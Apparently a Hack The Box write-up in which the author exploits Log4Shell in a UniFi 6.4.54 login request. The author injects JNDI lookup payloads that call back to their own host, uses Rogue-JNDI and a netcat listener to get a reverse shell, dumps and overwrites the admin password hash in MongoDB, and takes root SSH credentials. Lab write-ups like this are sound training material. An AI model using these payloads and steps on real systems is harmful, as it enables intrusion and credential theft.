The Nmap scan result shows port 8080 is open. It is the http-proxy let’s navigate to the port. However, it redirects me to this link
https://10.129.96.149:8443/manage/account/login?redirect=%2Fmanage
unifi - 6.4.54
unifi login page
Well, it is just a login page. The first thing I do is try to put some simple credentials such as admin:admin, admin:password, etc. Unfortunately, I can’t get access to it but this page also has the version displayed in front of it.
In the article, it says:
The vulnerability is in the remember (or in some versions the username) value issued in the login request. shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST/api/loginHTTP/2Host:<TARGET> Content-Length:109Sec-Ch-Ua:" Not A;Brand";v="99", "Chromium";v="96"Sec-Ch-Ua-Mobile:?0User-Agent:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Sec-Ch-Ua-Platform:"macOS"Content-Type:application/json; charset=utf-8Accept:*/*Origin:https://<TARGET>Sec-Fetch-Site:same-originSec-Fetch-Mode:corsSec-Fetch-Dest:emptyReferer:https://<TARGET>/manage/account/login?redirect=%2FmanageAccept-Encoding:gzip, deflateAccept-Language:en-US,en;q=0.9{"username":"asdf","password":"asdfas","remember":"<PAYLOAD>","strict":true}
how to test it is vulnerable to log4j
I find a way easier method to test it in the official walkthrough that you can download. Does it mean I’m not trying it and just reading it? Well, if you have that perception. Here is the blog post talking about that.
htb blog writeup is ok
This blog is written by two talented person ippsec & 0xdf
Enough with all that, Let’s test it. First I’m gonna fire up the burpsuite to intercept the /api/login endpoint. So, I can alter the request to be specific the "remember" parameter. Now, I need to put this payload :
1
${jndi:ldap://Tun0 IP Address/test}
Info
JNDI (Java Naming and Directory Interface API). By making calls to this API, applications locate resources and other program objects.
LDAP(Lightweight Directory Access Protocol) The default port that LDAP runs on is port 389.
execute ping
tcpdump
Before sending the payload. First, let’s set up the monitoring network on port 389 with tcpdump. This tool will let us monitor the network traffic/dump the network. So, open up another terminal and type:
1
sudo tcpdump -i tun0 port 389
After the tcpdump has been started, click the Send button.
receiving ping
The tcpdump output shows a connection being received on my machine. This proves that the application is vulnerable since it is trying to connect on the LDAP port 389.
Rogue JNDI
Rogue JNDI is a malicious LDAP server for JNDI injection attacks. This will help me to receive connections back and execute malicious code. First, let’s clone the Github repos of this application.
The rogue-jndi is a Java application. In the official walkthrough. It says we need to install Open-JDK & Maven on our system to build the payload.
However, if you’re using the Linux hacking distribution such as parrot os & kali. You might have already installed it in those systems but if you don’t. Type this to install it make sure to run it with sudo privilege.
After all, is done, let’s build the Rogue-JNDI Java application.
1
cd rogue-jndi && mvn package
build success
create a reverse shell payload
This will create a .jar file in rogue-jndi/target/ directory called RogueJndi-1.1.jar. Before we can run the application. We need to create our reverse shell payload first and encode it with base64 to prevent any encoding issues.
After the payload had been created, start the Rogue-JNDI application with these arguments. Example down below;
Make sure to run the Netcat listener on your desire/reverse_shell port to catch the connection back.
Going back to burpsuite. Let’s intercept the requests once more but this time the payload going to be this instead;
After the payload is already set in place. Now, just click a single button it is the Send button & BINGO!
1
${jndi:ldap://Tun0 IP Address:1389/o=tomcat}
shell as unifi
upgrade shell using script
type this command to upgrade shell:
1
script /dev/null -c bash
mongoDB
In this article sprocketsecurity - another log4j on the fire unifi. it says the MongoDB instance storing all application is listening on localhost without authentication. This means we can extract the password, alter the data, add our password to it, etc.
checking mongoDB is running
Just type this command on the victim machine. The output shows us MongoDB is running on the victim machine on port 27117.
1
ps aux | grep mongo
check mongodb present
Well, in the article sprocketsecurity - another log4j on the fire unifi it talks about cracking the password hash and adding our x_shadow admin but in the official walkthrough did a kinda similar thing but in a more simple way. In this case, you can learn every way to interact or alter the data in MongoDB. I already trying them both but in this writeup, I choose the official walkthrough way to make it not a super long writeup.
In the sprocketsecurity - another log4j on the fire unifi article. I saw that they interact with the UniFi database called ace. So, I’m thinking let’s try it with the ace database and that’s the correct DB name. ace is the default UniFi database
dump user/password from mongoDB
We already know MongoDB exist in victim machine. Now, we can dump user/password from it with this command:
After we press Enter. The output is so ridiculous its dumps all users, email, password hash, etc. The most important data we want to take a look at is administrator.
change administrator x_shadow
So, as I said before, I’m gonna use the official walkthrough way to change administrator x_shadow but again it is up to you. How you want to approach it.
Well, the first thing we want to do is generate a sha-512 hash. To do this we can use the mkpasswd command-line utility. So, the command should look like this:
generate sha-512 hash
1
mkpasswd -m sha-512 yourdesirepassword
generate sha-512 hash
Let’s proceed to replacing the existing hash with one we created. To do it, type this command:
Now, we need to verify that the password has been updated in the MongoDB by running the same command to dump the user/password. The hash appears to have been updated.
verify the changes
login page
Well, let’s try login with the username administrator and password to whatever you put it as the hash. In my case, it will be drjohn. DONE!
unifi admin page
steal SSH creds
The Nmap scan result previously shows that port 22/SSH is open. To gain access through SSH we must need a valid credential. However, luck is on our side. We can grab ssh credentials by navigating to the setting page by clicking the bottom left button that looks like a gear. Then, scroll down.
found root credentials
ssh as root
Let’s log in as root with the creds we found. SUCCESS!!!
